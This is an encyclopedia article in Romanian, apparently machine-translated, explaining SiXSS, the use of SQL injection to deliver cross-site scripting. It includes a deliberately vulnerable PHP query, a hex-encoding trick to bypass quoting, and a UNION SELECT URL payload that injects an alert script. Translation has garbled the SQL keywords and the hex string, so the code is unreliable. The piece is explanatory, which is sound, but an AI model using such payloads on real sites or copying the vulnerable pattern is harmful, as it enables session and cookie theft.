SiXSS

Versiunea actuală a paginii nu a fost încă examinată de colaboratori experimentați și poate diferi semnificativ de versiunea revizuită pe 18 martie 2019; verificările necesită 16 modificări .

SiXSS ( în engleză  Sql Injection Сross Site Scripting  - "Cross -site scripting in the present of SQL injection ") - un tip de atac asupra sistemelor informatice interactive vulnerabile de pe web ; injectarea de scripturi rău intenționate executate pe computerul client în pagina emisă de sistem prin injectarea codului în injectarea SQL. De obicei, această vulnerabilitate apare pe partea clientului atunci când câmpurile imprimabile sunt deduse prin injecție SQL.

Descriere

Pentru ca un atac să aibă loc, trebuie să existe două lucruri pe server.

  1. Dezvoltatorul site-ului a permis injectarea de cod SQL într-o anumită interogare.
  2. Solicitarea (mai periculoasă dacă este aceeași ca la punctul 1) returnează orice informații care sunt încorporate direct în HTML-ul final, de exemplu:
    • Webmasterul știe sigur că nu există caractere HTML în niciun câmp (de exemplu, în numele de utilizator) și nu o scapă .
    • Dacă site-ul este scris într-un limbaj tatat dinamic , câmpurile numerice pot fi, de asemenea, vulnerabile și nu are sens să scapi de ele.
    • Fragmente din designul site-ului.
    • Pagini HTML stocate în cache.

Atacul este cross-site scripting (XSS) realizat printr-o solicitare „otrăvită”. Prejudiciul cauzat de acesta este ca de la XSS obișnuit: poate fura cookie -uri de utilizator , inclusiv ID-ul sesiunii și alte informații sensibile stocate pe client, poate executa comenzi în numele utilizatorului.

Ca orice XSS, SiXSS poate fi reflectat (scriptul rău intenționat este stocat în cerere) și stocat (scriptul rău intenționat este stocat în baza de date).

Exemplu

Să presupunem că serverul are o bază de date care conține un tabel de forma:

CREAȚI BAZĂ DE DATE cms ; UTILIZAȚI cms ; GRANT SELECT ON cms . * CĂTRE „user_noprivs” @ „localhost” IDENTIFICAT PRIN PAROLA „4f665d3c1e638813” ; CREATE TABLE content_table ( id INT PRIMARY KEY AUTO_INCREMENT , content TEXT ); INSERT INTO content_table ( continut ) VALUES ( 'My Bank [p] User: [input type=\"text\" name=\"username\"] Parola: [input type=\"parola\" nume=\"pass\ "] [input type=submit value=\"LogIn\"] ' );

și există un fișier PHP ca acesta:

Banca mea

<? php if ( @ isset ( $_GET [ 'id' ])){ $myconns = @ mysql_connect ( \" 127.0.0.1 \" , \" user_noprivs \" , \" unbr34k4bё3 ! \" ) sau die ( \" scuze pot nu te conectezi\"); @mysql_select_db(\"cms\") sau die(\"Îmi pare rău, nu pot selecta DB \" ); $sql_query = @ mysql_query ( \" selectați conținutul din tabel_conținut unde id = \" . $_GET [ 'id' ]) sau die ( \" Îmi pare rău interogare SQL greșită \" ); // oops SQL Injection-^ while ( $tmp = @ mysql_fetch_row ( $sql_query )) echo $tmp [ 0 ]; //reduce rezultatul ca cod HTML } else { echo \" Bine ați venit la Banca mea \" . Autentificare . \"\" ; } ?>

După cum puteți vedea, rezultatele interogării către MySQL vor trebui transmise utilizatorului. Putem vizualiza această pagină html, dar nu vom vedea nimic special pe ea. Vizitând pagina și făcând clic pe link, utilizatorul va primi o invitație de autorizare.

Din aceasta se poate concluziona că:

Problema apare în cazul în care un text din baza de date ajunge direct în pagina HTML. Dacă încercăm să folosim atacul clasic SQL-Injection, vom obține câteva informații despre serverul SQL și nimic altceva. Dar există o vulnerabilitate pe partea clientului. Folosind UNION SELECT, un atacator va putea injecta text arbitrar.

Atac

Pentru a ocoli gpc_magic_quotes incluse, utilizați "0xXX" HEX în loc de text: mysql] select HEX('[ script]alert("SiXSS");[/script]');

+------------------------------------------------- --------------------+ | HEX ( '[script]alertă(\"SiXSS\");[/script]' ) | +------------------------------------------------- --------------------+ | 3 C7363726970743E616C65727428222536958535322293B3C2F 7363726970743 E | +------------------------------------------------- --------------------+ 1 rând în set ( 0.00 sec )

și lipiți acest lucru în cererea HTTP:

http://www.mybank.com?id=1+union+select+ _ _ 0x3C7363726970743E616C6572742822536958535322293B3C 2 F7363726970743E

Răspunsul va fi aceeași pagină, dar, în plus, acest script va fi executat pe partea clientului.

([ script ] alertă ( " SiXSS " );[ /script])

Aceasta va fi SQL Injection for Cross Site Scripting (SiXSS)

Exemplu preluat de pe site-ul SecurityLab

Link -uri

Diverse

Aceste atacuri sunt clasificate în conformitate cu clasificarea atacurilor cu injecție SQL și XSS , deoarece sunt o combinație a două tipuri diferite de atacuri.

Note